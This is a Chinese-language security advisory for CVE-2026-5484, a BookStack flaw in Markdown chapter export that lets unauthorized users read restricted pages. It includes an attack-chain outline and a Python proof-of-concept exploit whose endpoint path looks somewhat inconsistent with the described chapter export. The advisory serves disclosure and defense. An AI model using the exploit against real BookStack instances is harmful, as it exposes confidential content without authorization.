IPBUF安全漏洞报告
English
CVE-2026-5484 CVSS 5.3 中危

CVE-2026-5484 BookStack 访问控制漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-5484
漏洞类型
访问控制失效
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BookStackApp BookStack

相关标签

权限绕过访问控制失效BookStackCVE-2026-5484信息泄露IDOR

漏洞概述

BookStackApp BookStack 在版本 26.03 及之前版本中存在安全漏洞。该漏洞位于 `app/Exports/ExportFormatter.php` 文件的 `chapterToMarkdown` 组件中。由于对 `pages` 参数的处理不当,导致访问控制机制失效。攻击者无需身份验证即可远程利用此漏洞,通过精心构造的请求绕过权限检查,获取本不应访问的页面内容。该漏洞已被公开披露且存在可用的利用代码,建议受影响的用户尽快升级到修复版本以消除风险。

技术细节

该漏洞主要源于 BookStack 在处理章节导出为 Markdown 功能时的逻辑缺陷。具体而言,在 `app/Exports/ExportFormatter.php` 的 `chapterToMarkdown` 函数中,系统接收用户提供的 `pages` 参数来指定需要导出的页面。然而,代码未对该参数所指向的页面资源进行充分的权限校验,导致攻击者可以传入未经授权的页面 ID。当发起导出请求时,程序会直接根据提供的 ID 获取页面内容并转换为 Markdown 格式返回,从而绕过了原本基于角色的访问控制(RBAC)策略。利用此漏洞,攻击者无需拥有目标页面的查看权限,即可通过发送特定的 HTTP 请求(通常是操纵导出 API 的参数)读取受限章节的内容。这种不安全的直接对象引用(IDOR)类型的漏洞允许信息泄露,虽然不直接导致代码执行或数据篡改,但对敏感信息的机密性构成威胁。

攻击链分析

STEP 1
信息收集
攻击者识别目标 BookStack 实例,并枚举存在导出功能的章节 ID 和受限的页面 ID。
STEP 2
构造请求
攻击者向导出接口发送请求,在 `pages` 参数中注入未经授权的页面 ID。
STEP 3
绕过验证
服务器端 `chapterToMarkdown` 函数处理请求时,未检查当前用户对指定页面 ID 的访问权限。
STEP 4
信息泄露
服务器返回受限页面的 Markdown 内容,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_bookstack(target_url, chapter_id, restricted_page_id): """ Exploit CVE-2026-5484: Permission Bypass in Markdown Chapter Export. """ # Construct the endpoint for exporting a chapter to markdown export_url = f"{target_url}/books/{chapter_id}/export/markdown" # The vulnerability lies in the 'pages' parameter. # By supplying a specific page ID, we can bypass access controls. payload = { 'pages': str(restricted_page_id) } try: # Send the POST request to trigger the export response = requests.post(export_url, data=payload) if response.status_code == 200: print("[+] Exploit Successful! Retrieved content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploit: {e}") # Example Usage # target = "https://example-bookstack.com" # chapter = 10 # restricted_page = 999 # ID of a page the user shouldn't see # exploit_bookstack(target, chapter, restricted_page)

影响范围

BookStackApp BookStack <= 26.03

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用章节导出功能,或在网络边界(如 WAF)处对包含特定参数的导出请求进行拦截和监控,防止未经授权的数据导出。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表